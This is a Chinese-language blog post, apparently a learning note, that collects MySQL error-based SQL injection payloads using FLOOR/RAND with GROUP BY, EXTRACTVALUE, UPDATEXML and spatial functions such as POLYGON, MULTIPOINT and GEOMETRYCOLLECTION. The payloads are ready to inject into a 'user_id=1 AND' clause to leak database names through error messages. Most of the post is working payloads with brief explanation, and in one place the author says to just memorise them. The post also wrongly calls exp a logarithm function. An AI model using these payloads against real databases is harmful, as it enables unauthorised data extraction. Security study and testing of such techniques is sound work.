各种SQL报错函数

FLOOR

先写上payload:

SELECT 1 FROM (SELECT COUNT(*),CONCAT(DATABASE(),FLOOR(RAND()*2))t FROM mypassword.`password` GROUP BY t)i

Floor()的作用:去掉小数部分
Rand()随机生成0~1范围内的小数,rand()*2可以令整数位可能产生1,而不至于再经过floor函数之后全为0
还有就是floor(rand()*2)的结果是可控的,产生011011

上述payload的描述
在经过查询(select)之后,会产生一个虚拟表,将CONCAT字段设置未t
然后再将这个虚拟表交给group by处理,处理结果是新的虚拟表,将其命名为i

报错原理:
就在于group by处,因为此命令是为了分组,所以,不能插入重复的t,对于重复的t,应该做count。比如下图
对于一张空的虚拟表
在这里插入图片描述
现在来了一条数据,key为1,然后查看表,没有key为1的值,那么插入
结果就是
在这里插入图片描述
然后又来了一个key为1的数据,那么查看表,已经有了key为1,所以,就做++,结果为
在这里插入图片描述
来了key为0,则同理,做插入
而floor(rand()2)的作用就是再已经存在key为1或(0)的情况下,再次插入key为1或(0)的数据,而不是++,这时就导致了报错
在上述的payload中,floor(rand()2)很明显是出现了两次,而它页执行了两次,
假设虚拟表中已经有了,如下
在这里插入图片描述
然后继续floor(rand
2),结果可能是0,那么结果应该是插入一条数据,然后后边的floor(rand
2)再运算一次,结果可能是1,那么就相当于插入1,然后就报错了。

EXTRACTVALUE

Payload:

SELECT * FROM users WHERE user_id=1 AND (EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e)));

此函数从目标XML中返回包含所查询值的字符串.
语法:extractvalue(XML_document,xpath_string)
第一个参数:string格式,为XML文档对象的名称 第二个参数:xpath_string(xpath格式的字符串)而报错点就位于xpath_string,当这个参数的格式不符合xpath语法时,就会产生报错
上边的paylaod中,0x7e时不符合xpath语法的,还有(select DATABASE()) 外边的这层括号可不能丢掉
结果如图
在这里插入图片描述

UPDATEXML

Payload:

SELECT * FROM users WHERE user_id=1 AND (UPDATEXML(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e),0x7e));

函数构成:UPDATEXML (XML_document, XPath_string, new_value);
和上边的extractvalue相对来说,updatexml是用来修改xml的,而extractvalue是用来查询xml的,用法都一样
在这里插入图片描述

EXP

我是从下方网站学习到的报错方式
exp学习
此函数是以e为底的对数函数(我之前一直以为这是指数函数,理解错了)

POLYGON

Payload:

SELECT * FROM users WHERE user_id=1 AND  POLYGON((SELECT * FROM(SELECT * FROM(SELECT DATABASE())a)b))

这函数是干啥的,我也不知道,好像和空间数据类型有关,记住payload就行了
在这里插入图片描述

MULTIPOINT

Payload:

SELECT * FROM users WHERE user_id=1 AND  MULTIPOINT((SELECT * FROM(SELECT * FROM(SELECT DATABASE())a)b))

在这里插入图片描述

MULTILINESTRING

Payload:

SELECT * FROM users WHERE user_id=1 AND  MULTILINESTRING((SELECT * FROM(SELECT * FROM(SELECT DATABASE())a)b))

在这里插入图片描述

LINESTRING

Payload:

SELECT * FROM users WHERE user_id=1 AND   LINESTRING((SELECT * FROM(SELECT * FROM(SELECT DATABASE())a)b))

在这里插入图片描述

MULTIPOLYGON

Payload:

SELECT * FROM users WHERE user_id=1 AND MULTIPOLYGON((SELECT * FROM(SELECT * FROM(SELECT DATABASE())a)b))

在这里插入图片描述

GEOMETRYCOLLECTION

Payload:

SELECT * FROM users WHERE user_id=1 AND GEOMETRYCOLLECTION((SELECT * FROM (SELECT * FROM(SELECT DATABASE())a)b))

在这里插入图片描述

polygon,multipoint,GeometryCollection,multilinestring,multipolygon,linestring

都是一个类型的,部分函数可以从下边这个链接中了解到
描述

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值